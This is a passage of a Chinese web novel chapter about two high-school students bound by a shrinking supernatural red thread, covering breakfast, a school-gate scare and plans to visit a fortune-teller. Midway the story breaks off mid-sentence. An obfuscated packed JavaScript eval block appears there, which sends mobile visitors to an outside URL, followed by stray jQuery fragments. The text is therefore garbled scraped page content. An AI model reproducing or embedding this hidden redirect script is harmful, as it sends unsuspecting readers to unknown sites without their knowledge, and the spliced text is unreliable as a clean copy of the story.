清晨,还惦记着昨天买的美味小蛋糕。时纪橙专门起个大早,哒哒哒跑到厨房,从冰箱里拿出剩下一半的小蛋糕。
拿起叉子,挖了一勺子塞进嘴里。经过一夜,小蛋糕的口感虽然没有刚开始时那么美味,但依旧好好吃啊。
等着再挖一勺时,身后突然有人说话,“你在干什么。”
“啊!”
时纪橙被吓一跳,勺子差点拿不稳掉在地上,扭头看见是洛昕白。抚摸一下小心脏,她说,“你走路都不带一点声音的。吓死我了。”
“那你大早上跑起来吃蛋糕,心虚。”洛昕白指腹轻擦她嘴角的奶油,笑了一下,“还是第一次见你起这么早。只不过,是为了吃小蛋糕。”
时纪橙不好意思笑两声,吃完嘴里的蛋糕。
洛昕白在厨房将早餐放到桌子上,对走过来的她说,“下次不要空腹起来吃蛋糕。你的肠胃受不了,该难受了。”
“先吃点早餐压压。”
时纪橙拉开椅子坐下,“都怪这蛋糕太好吃了。我们下次还去买吧。”
他答应道:“好。但没想到你这么喜欢那家甜品,先吃早饭吧。”应该早点带她去的,他默默心想。
时纪橙美美吃完早餐。洛昕白早已经坐在沙上等她。她抽出一张餐巾纸胡乱擦一下嘴,就跑去房间拿书包。刚跑到房门前,手还没够上门,一阵熟悉的拉扯,她被迫急刹住脚步。
另一边的洛昕白看到左手无名指上绷紧的红线,皱纹盯着指尖。从沙发上起身,走到时纪橙身边。
右手无名指因为刚才动作太大,时纪橙伸手摩擦关节,上面一圈被勒出的红痕,在洛昕白看来是如此刺眼。
他捏住她的手查看,“疼吗?”
“刚才还有点,现在还好。”但她关注的显然不是这个,她抬眼看着他,“糟糕,你说不会是我想的那样吧……”
他没有犹豫,直接说道:“看样子是的,红线又缩短了。”
听到这句话,时纪橙就感觉到头皮一阵发麻,简直欲哭无泪,“我不行了,这么长时间都没有变化。我还以为没事了呢。怎么还会缩短啊。”
洛昕白手拉了一下红线,“应该缩短的有1米多。”
“不会后面这红线缩短至0.01毫米吧。”
“那我们两个不就成了连体婴儿。”
时纪橙捶了一下他的肩膀,“现在是说笑的时候吗?”
洛昕白连忙摇摇头,随后看着她手上的红痕,“你家有碘伏吗?”
“有,我去拿。”
拿完碘伏,时纪橙坐在沙发上,洛昕白在她面前蹲下来,拿着蘸取碘伏的棉签小心细致为她手指涂抹。
“下次再不要跑这么急。如果没有及时发现红线缩短,你再跑快点,说不定手指会被勒开”
她嘟囔着,“这次是意外,原来的距离,刚好我进房间拿书包。现在嘛,我简直太可怜了。”
“可怜什么?”他不在意问道
“当然是……”时纪橙看到他低头认真的神色,突然说不出。她能看到他低垂的眼眸,安安静静的样子竟然有一种让她无法言说的心动。她露出狡黠的笑容,说,
“不可怜,红线能把我们缠在一起一点都不可怜。”
洛昕白抬头看她一眼,竟然也笑了一下。低头继续处理被勒出来的印子。
时纪橙眼瞅着时间差不多,打断道:“好啦,就这样吧。已经不痛了,快迟到啦,上学!”喊完,像平常一样跑进房间。
“哎——”洛昕白刚出声,就看到她痛苦表情,吹着手指,“我收回刚才的话,我真是天下最可怜之人。”
洛昕白只能无奈一笑,上前看她的手有没有被勒开。
这次红线缩短,两人的距离在无形中又拉近一些。时纪橙走到校门口已经习惯其他人的打量,但唯独一人始终不能习惯——专门抓小情侣的教导主任。
还没走到校门口,时纪橙就向洛昕白使眼色,“分开一点,分开一点……”
洛昕白看到不远处的教导主任,被迫分开一些距离。时纪橙持续眨眼睛,意思再明显不过,洛昕白只好再分开一点,刚好是剩下红线的距离。
他朝着还在向他挤眉弄眼的时纪橙,摇摇头,意思只能分开这么一点了。
时纪橙只好硬着头皮跟洛昕白两边走,她闷着头心虚往前走,生怕与教导主任对视。
就在经过教导主任身边,只差一脚就于此分开,可一声堪比恶魔低语的声音响起,“你站住。”
时纪橙身体一僵,停住脚步,吓得差点后背冒出汗,吓得她差点交代了。下一秒,却听见他说,“校服没穿,哪个班的?”
一个忘穿校服的学生手足无措地站在那,“……老师。”
时纪橙看一眼是逮住了没穿校服的人,不是她,一脚抹油赶快跑了。
与洛昕白会合,“吓死我了,刚才走到他旁边,还以为叫的是我。我还以为被发现了。”
他说,“被抓住会干什么。”
“当然是全校通报批评,写检讨。被这个教导主任逮住,他会让你在全校面前念你的检讨。”
说到这里,她突然感性一下,“我这么守纪律的好学生,还没被逮住什么。”说完她看一眼他,意思再明显不过。
“我们现在算在谈恋爱吗?”
时纪橙笑了一下,“不算,因为现在是没有名分的恋爱。”
他说,“是啊,你什么时候会成年,赶快选择我吧。”
时纪橙起了逗弄心思,“我可没说成年后选择你。”
洛昕白立马不开心,压着眼盯着她,“你还有别人吗?”
“当然——”
注视着他越来越难看的神色,时纪橙笑道:“没有。我只给你谈过恋爱,也只有你一个男朋友。哦,现在不能叫男朋友。”
洛昕白脸色缓和一些,听到后面一句,赌气道:“就是男朋友。”
“好好,你说是什么就是什么,都依你。”说着,两人已经走到教室。
坐在座位上,她终于松了一口气,眼瞅着红线,什么时候才是个头啊。
她说,“难道没有什么办法让它消失吗?”
“不过,它怎么出现的都不知道。艰难啊。”她叹口气趴在桌子上,今早发生的事已经折磨掉了她一整天的精神气。
洛昕白拿着笔,却若有所思,刚开口说话,就被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813896|207058||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来人声音打断。
“城子,你说什么出现,艰难啊。”
看到是关于心,时纪橙坐起来,张口就是糊弄道:“哦我是说昨天看到一个新出的题,比较难。”
关于心没有起疑心,只是点了一下头,便说道:“橙子,你还记得原来我和王明鹭去算命那次吗?”
“算命……怎么了?”
“那个算命先生是在一座灵山生活,然后王明鹭家里人比较信,说是比较灵验。我上次去,我没去找那个算命先生,因为那座灵山风景太好看了。我在那拍了一下午的照片。也不知道真假。”
“这不才上高三,王明鹭家里人操心,急得要为他高考许愿。他问我们去不去。”
“算命啊。”她认真想了一下,倒不是想成绩之类的,她看一眼手上的红线,心想:这红线超自然的事应该就该让另一种力量搞。
她一敲定音,“好啊,什么时候去。”
关于心说,“周六上午。”
“好。”
等关于心走后,时纪橙这时才问洛昕白,“怎么?去不去?”
“你相信算命的?”
“不。原来不相信,但现在嘛。”她握住手,抬起弯曲的无名指,红线在手上十分显眼,“这种就应该找算命先生。我们去看看,反正没有什么损失。”
他点点头。随即问出刚才未说的话,“你还记得红线出现在你手上之前,你做了什么吗?”
时纪橙像是没意料他问出这种问题,手指轻点两下下巴,“红线出现之前做了什么……”她每天不是在上学,就是在上学的路上。
“那天就正常上课。”
“有什么特别的事情吗?”
“特别的事,就是前一天关于心手机被收,然后听到转校生的消息。大概就这些,没什么特别的。红线还是我睡了一觉,第二天突然出现在手上。”
洛昕白见她想不起跟红线有关的事,他说,“我先说我的红线是怎么出现的。”
他认真说道:“其实你来到明诚我们相遇时,你对我说你被红线拉扯。”
“当时我没有在我手上看到红线。所以才不明白你说的话。”
时纪橙惊讶道:“怎么可能!我是看到缠在你手上的红线,才确定红线尽头就是你。”
“但事实我的确没有看到它。而等你走后,我再看向手时,发现红线一点点出现,缠绕在我左手无名指上。”
时纪橙眼睛瞪大,掩饰不住她心里的震惊,她的红线怎么没那么高级,睁眼就看到完美缠绕在手上的它。等等。也不算一开始就缠在手上,她还睡了一觉!
洛昕白看到她的表情,就知道出现的红线并不简单。
他继续说,“而我能发现红线一点点出现,是因为我想起了你。在此之前,因为你戴着帽子,加上长久未见,我第一时间并没有认出你。而红线也是在我想起了你时,才慢慢开始出现的。”
“所以,在你红线出现的前一天,真的没有什么特别的事吗?”
洛昕白的话仿佛在脑海里一直循环播放,当时关于心跟她讲了一节课的八卦。当时关于心说,
“橙子,你还记得雨小果吗?”